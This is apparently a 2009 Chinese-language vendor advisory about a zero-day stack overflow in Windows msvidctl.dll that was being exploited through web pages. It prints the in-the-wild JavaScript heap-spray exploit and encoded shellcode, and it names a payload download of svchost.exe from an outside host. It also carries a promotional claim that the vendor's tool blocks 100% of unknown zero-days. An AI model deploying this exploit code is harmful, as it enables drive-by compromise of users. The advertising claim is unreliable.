BDATuner.MPEG2TuneRequest(msvidctl.dll)新漏洞爆發

背景分析:微軟的Windows作業系統msvidctl.dll視頻組件被發現一個0Day漏洞,這個利用MPEG-20解析錯誤的漏洞非常容易利用,短短時 間互聯網出現大量利用此缺陷掛馬的網頁,由於目前微軟還未提供補救措施,所以使用Windows XP,Windows 2000作業系統的用戶會直接被此漏洞利用而感染木馬.由於木馬清除大師100%攔截IE未知(0day)漏洞的特性,安裝有木馬清除大師的用戶將不受影響.

未安裝木馬清除大師的用戶 請立即下載:http://www.lofocus.com/BTSetup2009_big5.exe

技術分析:(信息來自卡飯)
 
例子網站:8oy**.8866.org 
掛馬頁:http://8oy**.8866.org/aa/go.jpg 
漏洞名:BDATuner.MPEG2TuneRequest Stack Overflow Exploit 
CLSID:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF 
軟體:Microsoft DirectShow (msvidctl.dll) 
版本:Windows XP,Windows2000,IE 6.0,IE7.0

被網馬利用的ShellCode:

var appllaa=’0’;
var nndx=’%’+’u9’+’0’+’9’+’0’+’%u’+’9’+’0’+’9’+appllaa;
var dashell=unescape(nndx+’%u5858%u5858%u10EB% u4B5B.....%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9% u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F% u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45% u126B%u4627%uA8EE%uD5DB%uc9c9%u87cd%u9292%ud4d0%ud1d1%ud6d1%ude93%ud0d2%uca92%u92d0%ucbce%ud5de%uced2%u93c9%uc5d8%ubdd8%ubdBD%uBDBD%uBDBD%uBDBD%uBDBD% uBDBD%uBDBD%uEAEA’); //

xor:0BD
var headersize=20;
var omybro=unescape(nndx);
var slackspace=headersize+dashell.length;
while (omybro.length<slackspace)
omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);
shuishiMVP=omybro.substring(0,omybro.length- slackspace);
while(shuishiMVP.length+slackspace<0x30000)  //生成大量數據
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array ();
for(x=0;x<300;x++)
memory[x]=shuishiMVP+dashell;
var myObject=document.createElement(’object’);
DivID.appendChild (myObject);
myObject.width=’1’;
myObject.height=’1’;
myObject.data=’./logo.gif’; //一個非GIF檔案
myObject.classid=’clsid:0955AC62-BF2E-4CBA- A2B9-A63F772D46CF’;

得知試圖訪問http://mil***.com/wm/svchost.exe.

CopyRight www.lofocus.com 2009